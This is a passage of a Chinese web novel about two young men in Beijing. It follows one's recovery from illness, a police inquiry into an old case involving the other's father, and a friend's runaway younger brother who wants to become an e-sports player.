陆灼年的衣服总是板板正正,这让他一时没认出陈则眠身上的衬衫是自己的。直到看到袖口内侧的''LU·ZN''绣纹,才意识到陈则眠穿的原来是他的衣服。霎那间,陆灼年心里涌上一种说不出的感觉。或许医生们的建议是确凿有效的,在发泄过一次之后,陆灼年整个人都平和了下来。仿佛整个世界都变得很温柔,渲染上了一层暖色滤镜。像是一夕之间恢复五感,迟钝的情感变得敏锐,能够从很细微的小事中获得快乐。在此之前,陆灼年的情绪阈值很高,平稳得宛若一个调好了程序的机器。陈则眠并非第一次穿陆灼年的衣服,那时候陆灼年也感受到了正面情绪,但那种情绪很冰冷,就像是他自己给自己输入了一道‘你应该为此感到愉悦′的指令。和这次的鲜活的感觉完全不同。原来这个世界应该是这样的。相比于此刻的轻松,连发泄过后的自厌与低落都变得没那么难以接受了。如果这是必须经历的情绪交换,那这笔买卖也很划算。陆灼年微微倾身,在陈则眠眼皮上亲了一下。陈则眠没醒,把脸又往被里埋了埋。他确实太累了。前一天晚上几乎整夜没睡,只在飞机上歇了一小会儿,回来以后,陆灼年又是发烧又是晕倒,情绪一直紧绷着。陆灼年重新躺回床上,抬手把陈则眠搂进了怀里。陈则眠醒了过来,扭头迷迷糊糊地看了眼陆灼年,只用潜意识来判断出环境安全,就又继续睡了。人还是不能只相信直觉。陈则眠不知道目前对他而言,最危险的就是陆灼年了。他对他没有提防,而他对他怀满欲.念。陆灼年抱紧陈则眠,空荡荡的灵魂都被填满,心脏饱胀得胜似一张盛满风的帆。为了抓住这种满足感,陆灼年决定放弃一部分原则和道德。也决定接受医生的建议。陈则眠醒来后,意识还没完全清醒,就听到了陆灼年对他说:“医生说得有道理,我现在感觉好多了。”陈则眠还没太醒盹,声音还带着一丝慵懒低哑的鼻音,揉着眼睛问:“哪里好多了?”陆灼年回答:“身体和精神都很好。”陈则眠这一觉睡得也很香,打着哈欠说:“适度释放有助于缓解精神压力,这是有科学依据的。”陆灼年问:“适度是多久一次呢?”陈则眠看了眼陆灼年,斟酌道:“你这么年轻,一天一次都不多。”陆灼年回看陈则眠:“所以你每天都释放压力?”陈则眠呛咳了一下:“也没有每天。”陆灼年礼貌询问:"下次可以叫我一起吗?"陈则眠一时竟没反应过来,下意识问:“一起什么?”陆灼年用公事公办的语气说:“一起缓解压力。”陈则眠瞳孔剧烈收缩,惊恐地看着陆灼年,忍不住伸手摸陆灼年额头,声音都有点颤抖:“你是烧糊涂了吗,怎么睡一觉起来,对这件事态度变化这么大!”陆灼年云淡风轻:“很难理解吗?”陈则眠当然觉得很难理解!可他看着陆灼年那副坦然自若的模样,又不禁怀疑是不是自己太过大惊小怪。可能这事儿这好比让人吃某种难接受的美食一样,没吃前觉得恶心排斥,吃完以后就真香了?不过不管怎么说,能接受自我纾解、缓解压力,对健康肯定是有益无害。陆灼年自尊心和道德感都很强,性格又骄傲矜持,愿意建立信任关系是很不容易的。按照医生的说法,这时候不能打击患者的积极性。陈则眠按下内心惊涛骇浪般的惊疑,故作镇静道:“不难理解,你先说说你怎么想的。”陆灼年坦诚地讲出自己的感受:“我现在感觉很好,这次醒来没有头疼,身体也很放松,精神是轻盈的,看什么都很舒服,没有之前那种……沉闷感。”陈则眠不解:“沉闷感?”陆灼年形容道:“就好像有人拿走了我眼前的茶色玻璃,整个世界都变得很清楚,有种如释重负的松快。”陈则眠只听陆灼年形容都觉得累,不由语重心长道:“你是人啊陆灼年,又不神仙,怎么完全可能杜绝七情六欲,照你之前那个禁欲法,没病的人都憋出病了,还是得靠你兄弟我胆大心细、妙手回春,换了别人谁敢啊。"陆灼年耐心听着陈则眠絮絮念叨他,唇边牵起一丝笑意,没有反驳:“我知道你说的都是对的了。”陈则眠不甚得意地挑了挑眉:“当然了。”陆灼年目光落在陈则眠白净修长的手指上,喉咙滚了滚:“那现在怎么办啊陈则眠。”陈则眠顺着陆灼年的视线看向自己的手,不知想到了什么,手指微微一蜷,讲话也不自觉地结巴了一下:“还、还能怎么办,你自己多注意,到了时间该排.精就排.精,不要总吃那个帕罗西汀了。"陆灼年注视陈则眠:“药都不可以吃了吗?”陈则眠想起自己误服帕罗西汀后的副作用,心有余悸地说:“真别吃了!那药吃完我都想死,你总吃那个药情绪能正常吗?”陆灼年声音很淡:“可性.瘾发作又不分时间地点,别人会发现的。”陈则眠说:“谁没事盯着你那儿看,不会很明显的,再说没准定期排解了以后,就没那么容易来感觉了呢。”陆灼年像是被说服了:“也许可以试一下。” 陈则眠拿起床头柜上的药瓶:“太好了,先把你这些药全扔了。” 陆灼年阻止道:“还是不要扔了吧。” 陈则眠单手抛接着药品:“成,那药我先给你收着,你什么时候实在忍不住了再吃。” 陆灼年未置可否,只淡淡提醒了一句:“放个稳当地方,别又随手往哪儿乱塞,跟你平板充电器似的,用的时候找不到。” 陈则眠当即表示绝无可能。 也不知是否真是陈则眠妙手回春,陆灼年这次来势凶猛的病症,在陈则眠回京市的次日彻底痊愈。 两人离开陆灼年的‘养病专用居所’,又一起搬回了隔壁。 从去三亚离开京市的那天起,满打满算也不过是半个多月,由于父亲工作调动缘故,陈则眠打小就经常搬家,换一个地方生活于他而言就和换家饭店吃饭差不多,都不是什么难事。 可不知为何,这次陈则眠竟有种‘到家''的感觉。 明明前一天就回到了京市,就住在隔壁那栋别墅里,两个房间的直线距离都不超过100米,可那种感觉却是完全不同。 陆灼年表现一切如常。 虽然他在病中认可了陈则眠的治疗方案,还表示要一起释放压力,却没有付诸任何行动,甚至没再提过这茬。 好像只是当下心血来潮,抑或发烧烧久了讲的胡话。 陈则眠本来还在思考,他俩互帮互助的时候怎么才能不那么尴尬,却不料陆灼年只是虚晃一枪,表面上认可了应当纾解,但实际上仍是习惯克制、压抑欲.望。这次的病扛过去了,他就又回归了原有的生活方式。 陈则眠也无计可施。 总不能硬扒陆灼年的裤子,也只能随便他了。 病好以后,陆灼年先回了陆家老宅,和父母报了平安。 那天恰好是正月十四,陈则眠原以为陆灼年会在家里过完元宵节,没想到当天晚上十点多,陆灼年披星戴月,连夜赶回了盛庭华府。 还带回了一捧蓝粉色的绣球花。 陆灼年说这是他母亲种的,恰逢花期正好,就剪下来送给陈则眠,专程表达谢意。 陈则眠看着花有点不好意思,因为不知道陆母谢他什么,也不知道陆灼年回家后怎么说的,才会让雍容华贵陆家夫人亲手剪了花送他。从理论上来讲,以陆灼年的矜贵高傲,应当不会详细讲述病愈过程,说出譬如 陈则眠帮我撸了一发,然后我就好了''之类的话吧。 可是谁知道呢? 毕竟陆灼年这个人看起来高冷孤傲,但有时候也自有其抽象之处,保不齐会突然面无表情地蹦出一句什么话来语出惊人。 比如最开始陈则眠说没有这个荣幸认识他的时候,陆灼年说‘现在你有了'';还有陈则眠揍唐天聪那次,说人是自己打的和陆灼年没关系,陆灼年直接踹了唐天聪一脚说‘现在我也打了'';更离谱的是两个人互损,陈则眠说‘没你好玩’之后,陆灼年居然问他‘那你什么时候来玩''。 这还只是陈则眠记得比较清楚的,记不清那些更是数不胜数了。 他没有陆灼年那么逆天的记忆力,也不像陆灼年那么记仇,会把自己每一句抽象的话都牢牢记在心上,然后时不时拿出来证明陈则眠是个人机。 综上所述,陈则眠也真的很难确定,陆灼年到底是怎么跟家里说的。 明天就是元宵佳节,是阖家团圆的传统节日,若说陆灼年不在京市没留家里过节也就罢了,关键是他都在正月十四这天下午回家了,然后晚上十点又从家走了,这谁看都会觉得不正常吧! 别说是陆家这样的世家大族,就算是放在普通人家都很难说得过去。 除非是有什么不容置辩的正当理由。 比如治病。 然而陈则眠除了能‘妙手回春′以外,哪里还有什么其他帮陆灼年治病的手段?! 所以……不会是陆父陆母都猜了吧。 陈则眠看着陆灼年把绣球放入花瓶,艰难地咽了下口水,鼓足勇气问:“你到底咋跟家里说的,你妈为什么要感谢我?”陆灼年回过身:“说你从三亚赶回来照顾我,没有你在,我不会好得这么快。” 陈则眠观察着陆灼年的表情,试探道:“没说我怎么给你‘治病′的事吧。”陆灼年压下唇角,眼中划过一丝不易察觉的笑意,反问:“如果你想的话,我也可以……” 陈则眠一记眼刀飞过,打断陆灼年:“不可以说!这件事不可以有第二个人知道!” 陆灼年沉默数秒:“所以我们两个之间只有一个是人吗?” 陈则眠无语道:“这是重点吗?” 陆灼年轻笑一声,插好绣球花,问陈则眠想摆在哪里。 陈则眠记得绣球的花期很短,折离枝头后更是很容易打蔫儿,就说放卧室里吧,这样能多看一会儿,放楼下的话,没准明天等他醒了花都谢了。陆灼年说不会这么快的。 陈则眠说,花还是要在枝头才能开得久一点,摘下来真是太可惜了。 陆灼年当时没再说什么。 第二天一早,陆宅来人送了十几盆绣球过来,等陈则眠醒来的时候,院子里的花房都快搭完了。 玻璃花房里配备了分区恒温系统,能够兼顾各种植物,不仅配适绣球,还能配适百合、山茶、铃兰、芍药等各种花卉。 冬天还没有过去,这一方小院里,却尽揽满园春色。 陈则眠头一次见识到这么安静迅速地施工,整座花房拔地而起,已经放上了许多绿植,从陆宅送来的绣球摆在正中央,欣欣向荣、花枝绚烂。昨天折下来的那一捧绣球,也分别扞插进土里,园艺师用了特制的营养液养护,说15天就能生根。 陈则眠看着院子里来来往往的工人,感觉像是在做梦。 陆灼年站在陈则眠身后,答复了昨晚悬而未决的问题—— “这样就能开很久了。” 62、第62章... 玻璃花房内群芳争艳,繁花如锦。 陈则眠看着满园姹紫嫣红,一整天心情都不错。 陆灼年也脱离了病后的虚弱状态,精神和体力都逐渐恢复上来,应该能够稳定住陈则眠的情绪转变。 是时候和陈则眠讲他父亲的事了。 晚饭吃的是海鲜粥,陈则眠喝了两碗以后,发现砂锅竟然空了。 “今天怎么就煮了这么点,”陈则眠抱怨了一句,转头盯上了陆灼年的粥碗,充满暗示意味地说:“我还没有吃饱。” 陆灼年对陈则眠的暗示视若无睹。 和还想吃海鲜粥的陈则眠不同,陆灼年现在的大部分注意力,都在一会儿要说的事情上。 他已经尽力营造一个舒服的环境了。 温暖绚烂的花房,一整天的好心情,美味易消化的海鲜粥……他甚至考虑到了因为情绪激动可能会引发胃痛的情况,特意吩咐厨师不要 煮太多粥,避免陈则眠贪食反胃。看到陈则眠不情不愿地放下勺子,陆灼年明知故问:“吃好了吗?” 陈则眠盯着陆灼年的粥碗:“你这粥还喝不喝?”陆灼年把粥碗推到旁边:“陈则眠,我有一件事要跟你说。”陈则眠撑着手,慵懒道:“你说。”陆灼年刚想开口,桌子上的手机突然响起刺耳的铃声。他心头一突,有种莫名的预感,转眸向手机看去——手机屏幕上,赫然显示着‘京市公安''四个大字。陆灼年眉梢微蹙,拿着手机起身道:“我先接个电话。”陈则眠的角度看不到陆灼年手机屏,不甚在意地点点头:“哦。”陆灼年走进书房,关门的同时接起电话。来电者是一个中年男人,声音端肃威严——“你好,陆先生,我是京市公安局局长孙岳平。”陆灼年眼眸微微一动:“孙局长。” 孙岳平开门见山:“陆先生,我知道你在调查南峰的事情,也知道你已经有了些眉目,这次贸然致电,一是提示你尽快撤回调查,二是希望你能保持沉默,不要把不该透露的消息,透露给你身边的那个人,你明白这是对他的保护。" 陆灼年神色不动:“你们监听了我的手机?” 孙岳平没有承认也并未否认,只是说:“虽然这通电话是加密的,但我相信以陆先生的谨慎,一定会对我的身份有所怀疑,咱们开诚布公,麻烦您来市局一趟,我们面谈。” 与此同时,别墅门铃陡然响起。 陈则眠正在偷喝陆灼年的那碗粥,听到门铃响起,做贼心虚地跳起来,喊了一句: “你打你的电话吧,我来开门。” 门口站着两个警察。 其中一个是四十多岁的警察叔叔,另一个是二十出头的年轻警员。 警察叔叔目光深沉,沉默地看着陈则眠,没有说话。 年轻警员出示了警官证:“先生您好,我们是京市公安局刑侦二队的工作人员,有一桩盗窃案的嫌疑人,供述了他曾经盗窃过陆灼年先生财物的行为,想找陆先生 做个笔录,请问他在家吗?” 陈则眠叫了陆灼年一声,转头跟两位警察说:“稍等,他刚才在打电话,二位先进来等一下吧。” 年轻警员看了老警察一眼。 老警察哑声道:“不用。” 年轻警员也说:“我们就在这儿等吧。” 陈则眠半开着房门,倒了两杯水出来: “你们市局工作也太敬业了,还亲自到被害人家里做笔录。” 年轻警员说:“还有涉案物证需要陆先生辨认一下,我们是来接他去市局的,时间有点晚了,我们正好在这片,就过来了。” 陈则眠看了眼老警察肩上的二道横杠,点点头:“怕原来是有的别的事,我就说怎么做个笔录不至于这么大阵仗。” 老警察的肩章上缀钉两杠两星,这是二级警督警衔标志,在京市市局编制这么紧张的情况下,能做到二级警督,至少是个副处。 年轻警员介绍道:“这是我们副支队长,罗建安,罗队。” 陈则眠他爸也是个支队长,总是听别人喊他爸‘陈队'',突然听到熟悉的称呼倍感亲切,打了个招呼说:“罗队辛苦了。” 罗建安看着陈则眠,神色有一丝难懂的复杂,没有说话,只是点点头。 说话间,陆灼年已经换好衣服走了出来。 他没有穿外套,奢华的羊绒大衣挂在臂弯,走路带风,有种说不出的潇洒。 短短片刻工夫,陆灼年不仅换了衣服,闻起来还香香的,戴着一块八位数的腕表,整个人精致到头发丝儿,看起来不像是被害人去警察局做笔录,倒像是明星去颁奖典礼走红毯。 盛衣华服,光彩照人。 陆灼年在玄关处站定,矜贵持重地一颔首,彬彬有礼地道了声:“久等。” 陈则眠:“……” 我勒了超绝太子爷。 服了,不知道这位哥在装什么,去趟警局也要竞吗?忽然整这么隆重,就差把‘我很贵重’四个字写在脸上了。 如果不是有两位警察先生杵在这儿,陈则眠真想问问他是不是要去市局相亲。 心中虽有很多吐槽,但在外人面前,还是要给自家老大面子的。 陆灼年盛装出席,已然把调性定得这么高,这时候,作为一名合格的狗腿小弟,必须把节奏跟上,这样才能显示出陆大少爷的尊贵地位。 陈则眠见陆灼年还穿着棉拖鞋,突然间灵机一动。 紧接着,他做出了一个出乎所有人意料的动作。 陈则眠弯下腰,从鞋柜里取出皮鞋,躬身放在陆灼年脚边。 陆灼年:“?” 罗建安眉峰狠狠一皱,目光如炬,扫向陆灼年。年轻警员也下意识皱了皱眉。 陈则眠等了一会儿,见陆灼年还不换鞋,半蹲在地上抬头看向他,态度恭敬地问:“是这双不行吗?陆少。” ……" 陆灼年所有昂扬的斗志,在这一刻被击得粉碎。 他搅甲披袍,整装待发,本来是想用实力向孙岳平等人证明,自己有能力照顾保护好陈则眠。 结果人还没出门,已经被陈则眠彻底打败。 一百年也不帮他拿一回鞋,今天怎么就忽然心血来潮,当着他父亲老战友的面整这一出! 陈则眠你是真抽象啊。 如果不是陈则眠尚不知晓其父身份,陆灼年简直都该怀疑他是故意给自己上眼药。 陆灼年伸手把陈则眠拉起来,低声问:“你在干什么?” 陈则眠理所当然道:“帮你换鞋啊。” 就算以陆灼年的智商与情商,在这一刻也不知道该说些什么。 他无话可说。 因为他非常清楚,倘若自己问‘你什么时候给我换过鞋'',陈则眠一定会不假思索地回答‘每天''。 陆灼年沉默地走出别墅。 没想到陈则眠也跟了出来。 陈则眠亦步亦趋,走在陆灼年身后,不与他并肩同行,而是落后半步,敬业地扮演着一名跟班。 陆灼年脚步微顿,用无法形容的疑惑眼神,转眸看向陈则眠。 陈则眠立刻上前一步,装腔作势道:“陆少,您有何吩咐。” 陆灼年压低声音:“你能正常点吗陈则眠!” 他声音已经放得很轻了,但可惜走在前面的是两位警察。 听到这句低喝,年轻警察忍不住说了一句:“警车就在院门口,陈先生就不用送了吧。” 陈则眠智商忽高忽低,闪烁不定:“你怎么知道我姓陈?” 年轻警员:“……” 罗建安开口解释道:“进来的时候登记,门卫那边说的。” 陆灼年看了陈则眠一眼:“你出来干嘛,外面挺冷的。” 陈则眠说:"我开车跟着你啊,要不你怎么回来。" 陆灼年&罗建安:“……” 陈则眠晃了晃车钥匙,转身走向陆灼年的车,上演了一出忠心耿耿的大戏。 忠不忠暂且不提。 陆灼年和罗建安两个人是各有各的心梗。 驱车开往警局的路上,年轻警员开车,罗建安坐在副驾驶几度眼热,每每想到老战友的独子像个佣人似的伺候那位陆少爷,气得嘴唇发抖,冷着脸一言不发。 * 市局内,局长办公室。 日光灯管发出的细微嗡鸣,在孙岳平咆哮声中微不可闻。 “什么陆家大少爷,什么东西啊他!有几个臭钱了不起吗?” 听过罗建安回来后讲述的见闻,孙岳平勃然大怒,怒火冲天,连抽了三支烟,大骂这帮纨绔子弟。 孙岳平指着门外吼道:“他最好别犯到我手里!” 罗建安面色凝重,剑眉紧锁:“你小点声。” 要依着孙岳平的气性,今天非得先晾那个陆少爷两三个小时,挫挫他的少爷脾气。 可陈折还在楼下等他,晾陆灼年就等同于晾陈折。 孙岳平霍然起身,大步走进接待室。 陆灼年态度不卑不亢:“孙局。” 孙岳平雷厉风行,后背往椅子上一靠,抬抬手说:“坐。” 两个高大的男人隔着桌子,不动声色地端量彼此。 孙岳平余光漫不经意地扫过陆灼年全身,在对方袖口露出的豪奢腕表上微微停顿。 蓝宝石表盘折射出冰冷华贵的光,一如陆灼年给人的感觉—— 淡漠冷静、贵不可言。 孙岳平收回视线,开门见山:“瑶台阆苑案的水很深,这二十年来,所有暗中访查瑶台阆苑案的人员,都会被列为嫌疑人调查,陆先生请见谅。” 陆灼年倒扣手机往前一推:"现在可以排除我的嫌疑了吗?" 孙岳平声音威严,充满了不容置疑的味道:“你确实没有嫌疑,我也知道你是在帮陈折调查,但你必须保守这个秘密,是为了陈折,也是为了你自己。”陆灼年没有理会孙岳平的暗示,只是用很平静的语气说:“你们用这种方式保护他,有想过他是否愿意接受吗?” “不光只是保护他这么简单,这里的水很深。”孙岳平眉梢微敛,察觉事情比想象中棘手:“具体案件细节我无法向你透露,但你既然已经查到了瑶台阆苑案,就该知道当年涉案嫌疑人员并未全部归案,这是报纸上有迹可查的的东西。” 闻言,陆灼年手指微微一动,铂金袖扣随着他动作,闪出微不可察的光芒。 孙岳平敏锐捕捉到这半秒间的动摇,加大力度劝说:“倘若陈折知道了南峰的事情,贸然闯入嫌疑人视野,不仅他自身存在危险,也必定会打草惊蛇,破坏我们这些年来的布局,影响整个案件进程。” 陆灼年垂下眼睑保持沉默,未置可否。 孙岳平语重心长:“于公于私,现在都不是陈折接触到‘南峰''讯息的好时机,我也很想和陈折相认,轻羽是我一手带出来的兄弟,可在真相大白前,我们必须保持沉默。” 陆灼年淡淡道:“你们可以用二十年追踪一桩旧案,可陈……陈折的二十年又该如何计算呢?” 孙岳平站起身,态度郑重:“我向你保证,等一切水落石出,我们会给陈折一个交代,会为他正名、为他父亲正名。” 陆灼年抬眼直视孙岳平:"我同意保守这个秘密,但并不是因为我认可他需要被这种方式保护,而是作为一名公民,每个人都有配合警方工作的义务。"孙岳平点点头:“多谢配合。” 陆灼年看了眼时间:“还有别的事情吗?” 孙岳平说:“确实有个嫌疑人供述了在你车上偷过东西的事实,还有几盒茶叶被扣押了,等会儿还要麻烦你做个笔录。” 陆灼年:“可以。” 他嘴上说可以,人却站在原地没动。 孙岳平眼皮抬了抬:“还有事?” 陆灼年微微颔首:“有一个问题请教。” 孙岳平:“你说。” 陆灼年倏然看向孙岳平,出其不意道:“陈轻羽还活着吗?” 63、第63章.. 离开市局时,是晚上八点。 陈则眠坐在副驾驶的位置上,趴着车窗看着办公大楼里明亮的灯光,感慨道:“警察真是好辛苦,这么晚了还在加班。” 陆灼年应了一声,转动方向盘,把车拐上川流不息的主路。 路牌反光镀膜次第亮起,很快又被接连抛在车后,路灯靠近又拉远。 车内明暗交错,光影反复变幻,一如陆灼年狐疑未决的猜测。 他没有从孙岳平那里得到任何答复,只能通过孙岳平听到问题时的反应,来推测问题的答案。 这不是一件容易的事情。 孙岳平深沉持重,喜怒皆不形于色。 作为市局局长、京市几万名警察的头儿,这位刑警出身的孙局长,审讯过的嫌疑人没有一万也有八千。他清楚该如何从别人嘴里得到信息,当然也知道在受到询问时,如何让对方看不出任何端倪。 但人毕竟不是一张照片。 只要是活的、变化的、会动的,就有迹可循。 陆灼年右手无意识地摩挲着方向盘,突然叫了陈则眠一声。 陈则眠转头看过来:“嗯?” 陆灼年问他:“你知道我这次为什么忽然发病吗。” 陈则眠脱口而出:“憋太久了?” 陆灼年微微偏了下头,也不知是在看陈则眠还是在看后视镜:“这只能算是生理上的原因。” 陈则眠听出陆灼年言外之意,顺着往下问:“那心理上的原因是?” 陆灼年目视前方:“我得到了一个很糟糕的消息,那个消息让我心神不定、焦虑难安。” 这两天,陈则眠也发现陆灼年心事重重,皱眉沉思的次数明显增加,他本以为这是性瘾发作的后遗症,也没太好意思问。 现在对方主动提起,陈则眠立刻作出洗耳恭听的样子:“怎么了?” 陆灼年没有直接回答,只是说:“我那天本来想跟你讲,但是你又不接电话。” 陈则眠听出陆灼年有翻旧账的意思,当即甩锅给萧可颂:“我当时在睡觉!前一天晚上萧可颂拉着我打麻将,一直打到凌晨五点,熬得我那叫一个精神恍惚,后来看四饼跟看八饼似的,重影重了好几层,差点没困死。" 陆灼年语气淡淡:“哦,原来是这样,我不知道你睡得那么晚,特意等到早上才打。” “你给我打电话还用看时间吗?想什么时候打就什么时候打呗,”陈则眠很够意思地说:“要是我能接到你的电话,好好安慰安慰你,没准你就不会生病了。”陆灼年看了陈则眠一眼,说:“没关系,现在已经没事了。” 陈则眠好奇心被吊起,追问:“你是说你现在没事了,还是说那件事解决了?” 陆灼年食指无意识地敲击方向盘,沉吟道:“都有可能,我也说不太准,你觉得呢?” 陈则眠对陆灼年的超绝运气非常有信心:“别人的事说不好,但要是你的事,无论什么都会逢凶化吉、遇难呈祥。” 陆灼年轻轻勾了下唇角:“如果是那样,那可真是太好了。” 陈则眠也笑了笑。 虽然他不知道陆灼年说的到底是什么事,但还是为朋友感心情好转感到开心。 为了庆祝陆大少痊愈,叶宸亲自做东,邀请陆灼年和陈则眠共赴绿水亭苑小聚。 陆灼年捂住话筒,问陈则眠:“想去吗?” 陈则眠还惦记着好兄弟萧可颂,坚决反对搞小团体私下聚会,拒绝道:“萧少过两天该回来了,到时候再聚吧。” 于是陆灼年就和叶宸说不去 叶宸虽然听不到这番对话,但电话那边忽然静了几秒,很明显是陆灼年在和谁沟通,听陆灼年说不来,料想应该是陈则眠的意思,便也没说什么,只是轻笑了一声。陆灼年淡淡道:“很好笑吗。” 叶宸反问:“不好笑吗?” 陆灼年语气没太多情绪:“挂了。” “等等,”叶宸说:“把电话给陈则眠,我有事跟他说。” 陆灼年不知道叶宸找陈则眠有什么事,他也不想知道,就说:“不给。” 叶宸沉默了半秒:“我有陈则眠电话,要我私下打给他吗?” 陆灼年把手机递给陈则眠,这次没有捂话筒,甚至直接开了免提:“叶宸非要让你接电话,不然就私下找你。” 叶宸都气笑了:“陆灼年,你病好了是吧。” 陆灼年还想说什么,陈则眠抬手虚捂了下他的嘴,他就没再说了。 陈则眠开口道:“叶少,有什么事您说。” 叶宸说:“我一个弟弟叫叶玺,你还记得吧。” 陈则眠应声道:“记得。” 叶宸0帧起手:“他跑了。” 陈则眠呆了呆:“啊?” 叶宸讲话很会引起人的兴趣,说也不说全,引着陈则眠往下问:“嗯,从学校跑了。” 陈则眠果然问:“为啥啊。”叶宸言简意赅:“他说不想念高中了,想去一个网游战队的青训班打职业电竞比赛。” 陈则眠闻言被口水呛了一下:“这么叛逆的吗?什么游戏啊?” 叶宸说了一个游戏名:“圣殿光辉。” 圣殿光辉是一款火了很久的手游,和王者类似,都是5V5打团推塔类游戏,只不过王者里推的是水晶,这里面是一座座圣殿。陈则眠穿越过来之后,曾经下载下来,专门和王者做过对比,研究用户喜好和优化方向。陈则眠从专业的角度分析了一下:“这个游戏S4、S5两年是巅峰,现在已经过最热的红利期,逐渐冷下来了,综合来看……没有太多职业前景。”叶宸说:“他现在听不进去这些。” 自从叶玺离家出走后,父母电话干脆不接了,叶宸的微信还能勉强看看,但也不怎么回,今天叶宸给叶玺发了微信,说约了《再封神》创始人在绿水庭院吃饭,问他来不来。 叶玺才回了消息说来。 陈则眠听叶宸讲过缘由,说:“原来是这样,那我可以去的,我之前不知道您叫我是这事儿。” “不想去就不去,”陆灼年对陈则眠说:“你不用迁就他。” 叶宸不想和陆灼年说话,只说:“陈则眠,我很想请你帮忙,能麻烦你去个没有陆灼年的地方和我单独聊吗?” 陈则眠看了陆灼年一眼,拿着手机起身走进书房,从叶宸那里了解了叶玺的基本情况。 叶玺成绩不错,就读于一所国际高中,今年六月毕业,正处于人生中关键的节点。 只要按部就班地读完最后一个学期,无论是参加高考还是出国留学,都能读一所很好的大学,可是他现在竟然连高中都不想念了,确实是情况紧急。 陈则眠是游戏策划,了解电竞行业也清楚用户心理,又有当下最热门的《再封神》背书,叶玺再不相信旁人,对业内大神的话也总能听进去几分。 陈则眠表示可以试一试。 叶宸向陈则眠道了谢,说:“家里也找过其他从业者和叶玺聊,甚至连他最喜欢的电竞选手都找来了,都没有什么用。最后那位电竞选手反倒被叶玺说服了,还愿意介绍叶玺去他们俱乐部试训。” 陈则眠有些惊讶:“能得到职业选手的认可,那他很有天赋了,现在什么段位,进国服排行榜了吗?” 叶宸沉默几秒:“之前灼年总说你的注意力很奇特,我还觉得是他太苛刻。” 陈则眠一听叶宸这样讲,就知道为什么叶玺不愿意和家里人沟通了。 或许在叶家人看来,那个电竞选手介绍叶玺去他们俱乐部试训,不过是顺手卖给叶家小少爷一个人情,但陈则眠却知道,能得到职业选手的认可有多不容易。这也不能怪叶宸没能关注到重点,毕竟只有‘懂行''的人才知道,能得到职业选手认可有多不容易。 外行看内行总是带着很多误解,就像很多人觉得从事IT行业就应该会修电脑一样,都是刻板印象罢了。 27岁的陈则眠已经能够理解并接受人与人之间视角差异,而16岁的叶玺只会觉得‘没人懂我''。 不过只听这些只言片语中,也没办法拼凑不出事情全貌。 陈则眠对此事持中立态度,提前向叶宸表明了立场:“我可以试着劝叶玺回去念书,但不能劝他放弃梦想。” 叶宸冷酷道:“最好让他放弃。” 陈则眠婉然拒绝:“我觉得这样太武断,梦想是很珍贵的东西。” 叶宸没有反驳:“见过叶玺你就知道了。” * 第二天下午,陈则眠在绿水亭苑见到了叶玺。 他和叶宸长得简直不能再像,根本就是一个模子里刻出来。 进门的瞬间,陈则眠都恍惚了,还以为是自己眼睛重影,站在原地愣了愣。 两个人并肩坐在一起,简直就是一个叶宸,和一个三年前的叶宸。 听到陆灼年说了句‘那就是叶玺’,陈则眠才反应过来,走进包厢落座,和叶宸叶玺打了招呼。 在陈则眠他们过来之前,叶玺刚和叶宸吵完一架,脸色很不好看。 叶玺明知这个陈则眠是他哥找来的说客,却没能抵挡住见《再封神》创始人的诱惑,心里是又挣扎又别扭,一边气他哥太清楚怎么拿捏自己,一边又气自己太没深沉,这么容易又被他哥拿捏。 纠结烦闷之下,他赌气没说话。 叶宸也冷着张俊脸,抬眸瞥了叶玺一眼:“说话。” 叶玺很有脾气但过分鲁直,快人快语道:“我不想说。” 叶宸面无表情:“不还是说了?” 叶玺把手里的餐巾往桌子上一摔,猛地站起身,转头就要走。 叶宸眼皮都没抬:“坐下。” 叶玺早就憋着火了,闻言停下脚步,转头指着叶宸,大吼一声:“叶宸!我信你是我亲哥才来吃饭,楼下那车保镖什么意思?!” 陈则眠被突然的吼声吓了一跳。 他没想到叶玺脾气竟如此火爆,和冷静稳重叶宸截然相反。 陆灼年在陈则眠手臂轻轻一按,示意没事,不轻不重地说了句:“都别吵。” 叶玺深吸了一口气:“灼年哥,你们吃吧,我走了。” 叶宸看了陈则眠一眼,想让陈则眠开口留人。 陈则眠心说这何必呢,明明很关心弟弟,有话却不好好说。 不过原书中好像提过,叶家的家庭氛围就这样,父亲性烈如火、强势急暴,叶宸在家里也很压抑,经常还没说完就会被打断反驳,才慢慢养成了这副冷漠寡言的性格。每次父亲动怒发火,叶宸都面无表情,静静看着他大发雷霆。 叶玺性格和父亲有几分相似,很急躁也爱发脾气,叶宸习惯了用冷漠态度应对父亲的怒火,在叶玺生气时自然也说不出什么劝慰的话。 可叶玺和叶父还是不一样的,叶父是通过暴烈的方式巩固父权,而叶玺明显只是想让人哄哄他。 不过就是个骄纵跋扈的小少爷嘛。 陈则眠最会哄这些少爷了,绝对是专业对口。 连超级难哄的陆灼年,他都能很轻易地哄好。 陈则眠起身走向叶玺:“你不想在这里吃,那我们就去吃别的。” 叶玺想走又不敢走,怕他一出门就被留下保镖按住带回叶家。 他爸这次是被他真惹急了。 回家挨顿打不算什么,要是这么被压回家,他爸很有可能会把他送去网瘾学校。 他哥现在是他唯一的依仗了,论理他不该和他哥吵,可是话赶话说到哪儿,他也不知道怎么就吵起来了。 这一吵就谁都低不下头讲软话。 叶玺正站在那儿下不来台,陈则眠就过来和他说话了。 他是第一次见陈则眠,对不熟的人客气是最基本的礼貌。 叶玺给自己找到了台阶,讲话也缓了语气:“你想吃什么?” 陈则眠说:“那要看叶二公子想吃什么了。” 叶玺不太明显地偷瞄了他哥一眼,表面上是问陈则眠,实际还是征求他哥的意见:“都可以吗?”叶宸没说话。 陈则眠轻轻推了下叶玺。 两人一前一后离开包厢,叶宸果然没有阻拦。 叶玺出了包厢,后脊背微微放松,走了两步又担心陈则眠是想把自己骗出去。 万一他前脚刚出了绿水亭苑的门,后脚就被叶家的保镖压上车呢。 叶玺后悔自己仓促赴约,对《再封神》的创始人也失去了好奇心,只想着怎么才能把人甩开偷跑。 想着想着,叶玺放慢脚步,慢慢落在陈则眠身后,想找个机会溜走。 就在他转身准备跑的刹那,陈则眠头都没回,一伸手就抓住了叶玺后背的衣服。 陈则眠无语道:“你跑什么?” 叶玺非常警惕地说:“我不吃了,我要走了。” 陈则眠也无所谓叶玺吃不吃,闻言说:“也行,你想走先跟你哥说一声。” 叶玺:“为什么?” 陈则眠:“我把你带出就得把你带回去,否则没法跟你哥交代。” 叶玺一甩胳膊,挣开陈则眠的手,烦躁道:“我都这么大了,还能丢了不成!你跟他交代的着吗?” 陈则眠皱了下眉:“你以为我想管你吗?” 